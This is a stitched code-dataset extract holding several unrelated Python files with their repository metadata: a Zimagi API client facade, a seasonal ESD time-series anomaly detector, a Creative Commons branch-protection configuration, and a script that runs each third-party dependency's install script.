package/zimagi/facade.py
zimagi/zima
d87b3f91e2fa669a77145413582d636d783a0c71
[ "Apache-2.0" ]
null
null
null
package/zimagi/facade.py
zimagi/zima
d87b3f91e2fa669a77145413582d636d783a0c71
[ "Apache-2.0" ]
null
null
null
from .command import client as command_api from .data import client as data_api class Client(object): def __init__(self, token, host = 'localhost', command_port = 5123, data_port = 5323, user = 'admin', options_callback = None, message_callback = None, encryption_key = None ): self.command = command_api.Client(token, host = host, port = command_port, user = user, options_callback = options_callback, message_callback = message_callback, encryption_key = encryption_key ) self.data = data_api.Client(token, host = host, port = data_port, user = user, encryption_key = encryption_key ) @property def actions(self): return self.command.actions def get_action_options(self, action): return self.command.get_options(action) @property def data_types(self): return self.data.data_types def get_data_options(self, data_type): return self.data.get_options(data_type) def list(self, data_type, **options): return self.data.list(data_type, options) def get(self, data_type, key, **options): return self.data.get(data_type, key, options) def save(self, data_type, key, fields = None, provider = None, **options): return self.command.save(data_type, key, fields = fields, provider = provider, **options ) def remove(self, data_type, key, **options): return self.command.remove(data_type, key, **options) def clear(self, data_type, **options): return self.command.clear(data_type, **options) def values(self, data_type, field_name, **options): return self.data.values(data_type, field_name, options) def count(self, data_type, field_name, **options): return self.data.count(data_type, field_name, options) def download(self, dataset_name): return self.data.download(dataset_name) def execute(self, action, **options): return self.command.execute(action, **options) def run_task(self, module_name, task_name, config = None, **options): return self.command.run_task(module_name, task_name, config = config, **options ) def run_profile(self, module_name, profile_name, config = None, components = None, **options): return self.command.run_profile(module_name, profile_name, config = config, components = components, **options ) def destroy_profile(self, module_name, profile_name, config = None, components = None, **options): return self.command.destroy_profile(module_name, profile_name, config = config, components = components, **options ) def run_imports(self, names = None, tags = None, **options): return self.command.run_imports(names, tags, **options) def run_calculations(self, names = None, tags = None, **options): return self.command.run_calculations(names, tags, **options) def __getattr__(self, attr): def enclosure(**options): return self.execute(attr.replace('__', '/'), **options) return enclosure
29.605263
102
0.616593
313c7754ec52a77e1dcc6724c731baaaee8a2aac
22,653
py
Python
anomaly_detection/anomaly_detect_ts.py
kingbase/AnomalyDetection
14e6d029adf906791fb5d4a6c06251c69e3ca20e
[ "Apache-2.0" ]
null
null
null
anomaly_detection/anomaly_detect_ts.py
kingbase/AnomalyDetection
14e6d029adf906791fb5d4a6c06251c69e3ca20e
[ "Apache-2.0" ]
null
null
null
anomaly_detection/anomaly_detect_ts.py
kingbase/AnomalyDetection
14e6d029adf906791fb5d4a6c06251c69e3ca20e
[ "Apache-2.0" ]
null
null
null
""" Description: A technique for detecting anomalies in seasonal univariate time series where the input is a series of <timestamp, count> pairs. Usage: anomaly_detect_ts(x, max_anoms=0.1, direction="pos", alpha=0.05, only_last=None, threshold="None", e_value=False, longterm=False, piecewise_median_period_weeks=2, plot=False, y_log=False, xlabel="", ylabel="count", title=None, verbose=False) Arguments: x: Time series as a two column data frame where the first column consists of the timestamps and the second column consists of the observations. max_anoms: Maximum number of anomalies that S-H-ESD will detect as a percentage of the data. direction: Directionality of the anomalies to be detected. Options are: "pos" | "neg" | "both". alpha: The level of statistical significance with which to accept or reject anomalies. only_last: Find and report anomalies only within the last day or hr in the time series. None | "day" | "hr". threshold: Only report positive going anoms above the threshold specified. Options are: None | "med_max" | "p95" | "p99". e_value: Add an additional column to the anoms output containing the expected value. longterm: Increase anom detection efficacy for time series that are greater than a month. See Details below. piecewise_median_period_weeks: The piecewise median time window as described in Vallis, Hochenbaum, and Kejariwal (2014). Defaults to 2. plot: A flag indicating if a plot with both the time series and the estimated anoms, indicated by circles, should also be returned. y_log: Apply log scaling to the y-axis. This helps with viewing plots that have extremely large positive anomalies relative to the rest of the data. xlabel: X-axis label to be added to the output plot. ylabel: Y-axis label to be added to the output plot. title: Title for the output plot. verbose: Enable debug messages resampling: whether ms or sec granularity should be resampled to min granularity. Defaults to False. period_override: Override the auto-generated period Defaults to None Details: "longterm" This option should be set when the input time series is longer than a month. The option enables the approach described in Vallis, Hochenbaum, and Kejariwal (2014). "threshold" Filter all negative anomalies and those anomalies whose magnitude is smaller than one of the specified thresholds which include: the median of the daily max values (med_max), the 95th percentile of the daily max values (p95), and the 99th percentile of the daily max values (p99). Value: The returned value is a list with the following components. anoms: Data frame containing timestamps, values, and optionally expected values. plot: A graphical object if plotting was requested by the user. The plot contains the estimated anomalies annotated on the input time series. "threshold" Filter all negative anomalies and those anomalies whose magnitude is smaller than one of the specified thresholds which include: the median of the daily max values (med_max), the 95th percentile of the daily max values (p95), and the 99th percentile of the daily max values (p99). Value: The returned value is a list with the following components. anoms: Data frame containing timestamps, values, and optionally expected values. plot: A graphical object if plotting was requested by the user. The plot contains the estimated anomalies annotated on the input time series. One can save "anoms" to a file in the following fashion: write.csv(<return list name>[["anoms"]], file=<filename>) One can save "plot" to a file in the following fashion: ggsave(<filename>, plot=<return list name>[["plot"]]) References: Vallis, O., Hochenbaum, J. and Kejariwal, A., (2014) "A Novel Technique for Long-Term Anomaly Detection in the Cloud", 6th USENIX, Philadelphia, PA. Rosner, B., (May 1983), "Percentage Points for a Generalized ESD Many-Outlier Procedure" , Technometrics, 25(2), pp. 165-172. See Also: anomaly_detect_vec Examples: # To detect all anomalies anomaly_detect_ts(raw_data, max_anoms=0.02, direction="both", plot=True) # To detect only the anomalies in the last day, run the following: anomaly_detect_ts(raw_data, max_anoms=0.02, direction="both", only_last="day", plot=True) # To detect only the anomalies in the last hr, run the following: anomaly_detect_ts(raw_data, max_anoms=0.02, direction="both", only_last="hr", plot=True) # To detect only the anomalies in the last hr and resample data of ms or sec granularity: anomaly_detect_ts(raw_data, max_anoms=0.02, direction="both", only_last="hr", plot=True, resampling=True) # To detect anomalies in the last day specifying a period of 1440 anomaly_detect_ts(raw_data, max_anoms=0.02, direction="both", only_last="hr", period_override=1440) """ import numpy as np import scipy as sp import pandas as pd import datetime import statsmodels.api as sm import logging logger = logging.getLogger(__name__) def _handle_granularity_error(level): """ Raises ValueError with detailed error message if one of the two situations is true: 1. calculated granularity is less than minute (sec or ms) 2. resampling is not enabled for situations where calculated granularity < min level : String the granularity that is below the min threshold """ e_message = '%s granularity is not supported. Ensure granularity => minute or enable resampling' % level raise ValueError(e_message) def _resample_to_min(data, period_override=None): """ Resamples a data set to the min level of granularity data : pandas DataFrame input Pandas DataFrame period_override : int indicates whether resampling should be done with overridden value instead of min (1440) """ data = data.resample('60s', label='right').sum() if _override_period(period_override): period = period_override else: period = 1440 return (data, period) def _override_period(period_override): """ Indicates whether period can be overridden if the period derived from granularity does not match the generated period. period_override : int the user-specified period that overrides the value calculated from granularity """ return period_override is not None def _get_period(gran_period, period_arg=None): """ Returns the generated period or overridden period depending upon the period_arg gran_period : int the period generated from the granularity period_arg : the period override value that is either None or an int the period to override the period generated from granularity """ if _override_period(period_arg): return period_arg else: return gran_period def _get_data_tuple(raw_data, period_override, resampling=False): """ Generates a tuple consisting of processed input data, a calculated or overridden period, and granularity raw_data : pandas DataFrame input data period_override : int period specified in the anomaly_detect_ts parameter list, None if it is not provided resampling : True | False indicates whether the raw_data should be resampled to a supporting granularity, if applicable """ data = raw_data.sort_index() timediff = _get_time_diff(data) if timediff.days > 0: period = _get_period(7, period_override) granularity = 'day' elif timediff.seconds / 60 / 60 >= 1: granularity = 'hr' period = _get_period(24, period_override) elif timediff.seconds / 60 >= 1: granularity = 'min' period = _get_period(1440, period_override) #elif timediff.seconds > 0: # granularity = 'sec' elif timediff.seconds > 0: granularity = 'sec' period = _get_period(1440*60, period_override) ''' Aggregate data to minute level of granularity if data stream granularity is sec and resampling=True. If resampling=False, raise ValueError ''' #if resampling is True: # period = _resample_to_min(data, period_override) #else: # _handle_granularity_error('sec') else: ''' Aggregate data to minute level of granularity if data stream granularity is ms and resampling=True. If resampling=False, raise ValueError ''' if resampling is True: data, period = _resample_to_min(data, period_override) granularity = None else: _handle_granularity_error('ms') return (data, period, granularity) def _get_time_diff(data): """ Generates the time difference used to determine granularity and to generate the period data : pandas DataFrame composed of input data """ return data.index[1] - data.index[0] def _get_max_anoms(data, max_anoms): """ Returns the max_anoms parameter used for S-H-ESD time series anomaly detection data : pandas DataFrame composed of input data max_anoms : float the input max_anoms """ if max_anoms == 0: logger.warning('0 max_anoms results in max_outliers being 0.') return 1 / data.size if max_anoms < 1 / data.size else max_anoms def _process_long_term_data(data, period, granularity, piecewise_median_period_weeks): """ Processes result set when longterm is set to true data : list of floats the result set of anoms period : int the calculated or overridden period value granularity : string the calculated or overridden granularity piecewise_median_period_weeks : int used to determine days and observations per period """ # Pre-allocate list with size equal to the number of piecewise_median_period_weeks chunks in x + any left over chunk # handle edge cases for daily and single column data period lengths num_obs_in_period = period * piecewise_median_period_weeks + 1 if granularity == 'day' else period * 7 * piecewise_median_period_weeks num_days_in_period = (7 * piecewise_median_period_weeks) + 1 if granularity == 'day' else (7 * piecewise_median_period_weeks) all_data = [] # Subset x into piecewise_median_period_weeks chunks for i in range(1, data.size + 1, num_obs_in_period): start_date = data.index[i] # if there is at least 14 days left, subset it, otherwise subset last_date - 14 days end_date = start_date + datetime.timedelta(days=num_days_in_period) if end_date < data.index[-1]: all_data.append(data.loc[lambda x: (x.index >= start_date) & (x.index <= end_date)]) else: all_data.append(data.loc[lambda x: x.index >= data.index[-1] - datetime.timedelta(days=num_days_in_period)]) return all_data def _get_only_last_results(data, all_anoms, granularity, only_last): """ Returns the results from the last day or hour only data : pandas DataFrame input data set all_anoms : list of floats all of the anomalies returned by the algorithm granularity : string day | hr | min The supported granularity value only_last : string day | hr The subset of anomalies to be returned """ start_date = data.index[-1] - datetime.timedelta(days=7) start_anoms = data.index[-1] - datetime.timedelta(days=1) if only_last == 'hr': # We need to change start_date and start_anoms for the hourly only_last option start_date = datetime.datetime.combine((data.index[-1] - datetime.timedelta(days=2)).date(), datetime.time.min) start_anoms = data.index[-1] - datetime.timedelta(hours=1) # subset the last days worth of data x_subset_single_day = data.loc[data.index > start_anoms] # When plotting anoms for the last day only we only show the previous weeks data x_subset_week = data.loc[lambda df: (df.index <= start_anoms) & (df.index > start_date)] return all_anoms.loc[all_anoms.index >= x_subset_single_day.index[0]] def _get_plot_breaks(granularity, only_last): """ Generates the breaks used in plotting granularity : string the supported granularity value only_last : True | False indicates whether only the last day or hour is returned and to be plotted """ if granularity == 'day': breaks = 3 * 12 elif only_last == 'day': breaks = 12 else: breaks = 3 return breaks def _perform_threshold_filter(anoms, periodic_max, threshold): """ Filters the list of anomalies per the threshold filter anoms : list of floats the anoms returned by the algorithm periodic_max : float calculated daily max value threshold : med_max" | "p95" | "p99" user-specified threshold value used to filter anoms """ if threshold == 'med_max': thresh = periodic_max.median() elif threshold == 'p95': thresh = periodic_max.quantile(0.95) elif threshold == 'p99': thresh = periodic_max.quantile(0.99) else: raise AttributeError('Invalid threshold, threshold options are None | med_max | p95 | p99') return anoms.loc[anoms.values >= thresh] def _get_max_outliers(data, max_percent_anomalies): """ Calculates the max_outliers for an input data set data : pandas DataFrame the input data set max_percent_anomalies : float the input maximum number of anomalies per percent of data set values """ max_outliers = int(np.trunc(data.size * max_percent_anomalies)) assert max_outliers, 'With longterm=True, AnomalyDetection splits the data into 2 week periods by default. You have {0} observations in a period, which is too few. Set a higher piecewise_median_period_weeks.'.format(data.size) return max_outliers def _get_decomposed_data_tuple(data, num_obs_per_period): """ Returns a tuple consisting of two versions of the input data set: seasonally-decomposed and smoothed data : pandas DataFrame the input data set num_obs_per_period : int the number of observations in each period """ decomposed = sm.tsa.seasonal_decompose(data, freq=num_obs_per_period, two_sided=False) smoothed = data - decomposed.resid.fillna(0) data = data - decomposed.seasonal - data.mean() return (data, smoothed) def anomaly_detect_ts(x, max_anoms=0.1, direction="pos", alpha=0.05, only_last=None, threshold=None, e_value=False, longterm=False, piecewise_median_period_weeks=2, plot=False, y_log=False, xlabel="", ylabel="count", title='shesd output: ', verbose=False, dropna=False, resampling=False, period_override=None): if verbose: logger.info("Validating input parameters") # validation assert isinstance(x, pd.Series), 'Data must be a series(Pandas.Series)' assert x.values.dtype in [int, float], 'Values of the series must be number' assert x.index.dtype == np.dtype('datetime64[ns]'), 'Index of the series must be datetime' assert max_anoms <= 0.49 and max_anoms >= 0, 'max_anoms must be non-negative and less than 50% ' assert direction in ['pos', 'neg', 'both'], 'direction options: pos | neg | both' assert only_last in [None, 'day', 'hr'], 'only_last options: None | day | hr' assert threshold in [None, 'med_max', 'p95', 'p99'], 'threshold options: None | med_max | p95 | p99' assert piecewise_median_period_weeks >= 2, 'piecewise_median_period_weeks must be greater than 2 weeks' if verbose: logger.info('Completed validation of input parameters') if alpha < 0.01 or alpha > 0.1: logger.warning('alpha is the statistical significance and is usually between 0.01 and 0.1') # TODO Allow x.index to be number, here we can convert it to datetime data, period, granularity = _get_data_tuple(x, period_override, resampling) if granularity is 'day': num_days_per_line = 7 # TODO determine why this is here only_last = 'day' if only_last == 'hr' else only_last max_anoms = _get_max_anoms(data, max_anoms) # If longterm is enabled, break the data into subset data frames and store in all_data if longterm: all_data = _process_long_term_data(data, period, granularity, piecewise_median_period_weeks) else: all_data = [data] all_anoms = pd.Series() if e_value: seasonal_plus_trend = pd.Series() # Detect anomalies on all data (either entire data in one-pass, or in 2 week blocks if longterm=True) for series in all_data: shesd = _detect_anoms(series, k=max_anoms, alpha=alpha, num_obs_per_period=period, use_decomp=True, use_esd=False, direction=direction, verbose=verbose) shesd_anoms = shesd['anoms'] shesd_stl = shesd['stl'] # -- Step 3: Use detected anomaly timestamps to extract the actual anomalies (timestamp and value) from the data anoms = pd.Series() if shesd_anoms.empty else series.loc[shesd_anoms.index] # Filter the anomalies using one of the thresholding functions if applicable if threshold: # Calculate daily max values periodic_max = data.resample('1D').max() anoms = _perform_threshold_filter(anoms, periodic_max, threshold) all_anoms = all_anoms.append(anoms) if e_value: seasonal_plus_trend = seasonal_plus_trend.append(shesd_stl) # De-dupe all_anoms.drop_duplicates(inplace=True) if e_value: seasonal_plus_trend.drop_duplicates(inplace=True) # If only_last is specified, create a subset of the data corresponding to the most recent day or hour if only_last: all_anoms = _get_only_last_results(data, all_anoms, granularity, only_last) # If there are no anoms, log it and return an empty anoms result if all_anoms.empty: if verbose: logger.info('No anomalies detected.') return { 'anoms': pd.Series(), 'plot': None } if plot: #TODO additional refactoring and logic needed to support plotting num_days_per_line #breaks = _get_plot_breaks(granularity, only_last) #x_subset_week raise Exception('TODO: Unsupported now') return { 'anoms': all_anoms, 'expected': seasonal_plus_trend if e_value else None, 'plot': 'TODO' if plot else None } def _detect_anoms(data, k=0.49, alpha=0.05, num_obs_per_period=None, use_decomp=True, use_esd=False, direction="pos", verbose=False): """ Detects anomalies in a time series using S-H-ESD. Args: data: Time series to perform anomaly detection on. k: Maximum number of anomalies that S-H-ESD will detect as a percentage of the data. alpha: The level of statistical significance with which to accept or reject anomalies. num_obs_per_period: Defines the number of observations in a single period, and used during seasonal decomposition. use_decomp: Use seasonal decomposition during anomaly detection. use_esd: Uses regular ESD instead of hybrid-ESD. Note hybrid-ESD is more statistically robust. one_tail: If TRUE only positive or negative going anomalies are detected depending on if upper_tail is TRUE or FALSE. upper_tail: If TRUE and one_tail is also TRUE, detect only positive going (right-tailed) anomalies. If FALSE and one_tail is TRUE, only detect negative (left-tailed) anomalies. verbose: Additionally printing for debugging. Returns: A list containing the anomalies (anoms) and decomposition components (stl). """ # validation assert num_obs_per_period, "must supply period length for time series decomposition" assert direction in ['pos', 'neg', 'both'], 'direction options: pos | neg | both' assert data.size >= num_obs_per_period * 2, 'Anomaly detection needs at least 2 periods worth of data' assert data[data.isnull()].empty, 'Data contains NA. We suggest replacing NA with interpolated values before detecting anomaly' # conversion one_tail = True if direction in ['pos', 'neg'] else False upper_tail = True if direction in ['pos', 'both'] else False # -- Step 1: Decompose data. This returns a univariate remainder which will be used for anomaly detection. Optionally, we might NOT decompose. # Note: R use stl, but here we will use MA, the result may be different TODO.. Here need improvement #decomposed = sm.tsa.seasonal_decompose(data, freq=num_obs_per_period, two_sided=False) #smoothed = data - decomposed.resid.fillna(0) #data = data - decomposed.seasonal - data.mean() data, smoothed = _get_decomposed_data_tuple(data, num_obs_per_period) max_outliers = _get_max_outliers(data, k) R_idx = pd.Series() n = data.size # Compute test statistic until r=max_outliers values have been # removed from the sample. for i in range(1, max_outliers + 1): if verbose: logger.info(i, '/', max_outliers, ' completed') mad = np.mean(np.absolute(data - np.mean(data))) if not mad: break if not one_tail: ares = abs(data - data.median()) elif upper_tail: ares = data - data.median() else: ares = data.median() - data ares = ares / mad max_ares = ares.max() tmp_anom_index = ares[ares.values == max_ares].index cand = pd.Series(data.loc[tmp_anom_index], index=tmp_anom_index) data = data.drop(tmp_anom_index) # Compute critical value. p = 1 - alpha / (n - i + 1) if one_tail else (1 - alpha / (2 * (n - i + 1))) t = sp.stats.t.ppf(p, n - i - 1) lam = t * (n - i) / np.sqrt((n - i - 1 + t ** 2) * (n - i + 1)) if max_ares > lam: R_idx = R_idx.append(cand) else: break return { 'anoms': R_idx, 'stl': smoothed }
38.656997
230
0.676378
957c620cab09a4b482748d713a28325a747b2f48
1,374
py
Python
normalize_repos/branch_protections.py
shubhanshu02/ccos-scripts
2411281cc6b7124f8b18a8ce044b9bd51394051b
[ "MIT" ]
14
2020-02-07T22:46:02.000Z
2021-02-28T16:10:16.000Z
normalize_repos/branch_protections.py
shubhanshu02/ccos-scripts
2411281cc6b7124f8b18a8ce044b9bd51394051b
[ "MIT" ]
83
2020-02-07T15:57:23.000Z
2022-02-14T16:04:33.000Z
normalize_repos/branch_protections.py
shubhanshu02/ccos-scripts
2411281cc6b7124f8b18a8ce044b9bd51394051b
[ "MIT" ]
32
2020-02-24T21:08:40.000Z
2021-04-12T12:22:32.000Z
EXEMPT_REPOSITORIES = [ # non-engineering repo "australian-chapter", # non-engineering repo "cc-cert-core", # non-engineering repo "cc-cert-edu", # non-engineering repo "cc-cert-gov", # non-engineering repo "cc-cert-lib", # exempted to allow transifex updates "cc.i18n", # exempted to allow community maintainer to self-merge PRs "ccsearch-browser-extension", # exempted for bot pushes to default branch "creativecommons.github.io-source", # exempted for bot pushes to default branch "creativecommons.github.io", # non-engineering repo "global-network-strategy", # non-engineering repo "network-platforms", # non-engineering repo "sre-wiki-js", # non-engineering repo "tech-support", ] REQUIRED_STATUS_CHECK_MAP = { "cccatalog-api": ["Style", "Tests"], "cccatalog-frontend": ["Run CI tests"], "creativecommons.github.io-source": ["continuous-integration/travis-ci"], "fonts": [ "Lint", "Unit tests", "Build", "netlify/cc-fonts/deploy-preview", ], "vocabulary": [ "Lint", "Unit tests", "Build", "netlify/cc-vocabulary/deploy-preview", ], "vue-vocabulary": [ "Lint", "Unit tests", "Build", "netlify/cc-vue-vocabulary/deploy-preview", ], }
25.924528
77
0.604803
ec6c0199d717d542d550aa73d814ba9ee30b4a95
950
py
Python
Engine/Tools/install_dependencies.py
ekokturk/ZeronEngine
b0b756a0c8eb0ac09ee288a936857bda607bb3ef
[ "MIT" ]
null
null
null
Engine/Tools/install_dependencies.py
ekokturk/ZeronEngine
b0b756a0c8eb0ac09ee288a936857bda607bb3ef
[ "MIT" ]
null
null
null
Engine/Tools/install_dependencies.py
ekokturk/ZeronEngine
b0b756a0c8eb0ac09ee288a936857bda607bb3ef
[ "MIT" ]
null
null
null
import os, sys, glob, subprocess script_dir = os.path.abspath(os.path.dirname(sys.argv[0])) dependency_dir = os.path.join(script_dir, '../ThirdParty/') os.chdir(dependency_dir) print("\n================== UPDATING ENGINE DEPENDENCIES ==================\n") thirdparty_dirs = glob.glob(os.path.realpath(f"{dependency_dir}/*/")) dependency_count = 0 success_count = 0 for d in thirdparty_dirs: script_path = os.path.join(d,"install.py") if os.path.exists(script_path): dependency_count += 1 print("---------------------------------------------------------------------") error = subprocess.call(f'py -3 {script_path}') if error == 0: success_count +=1 print("========================================================================") print(f"Engine dependencies updated. Success: {success_count}/{dependency_count}") print("========================================================================")
35.185185
85
0.507368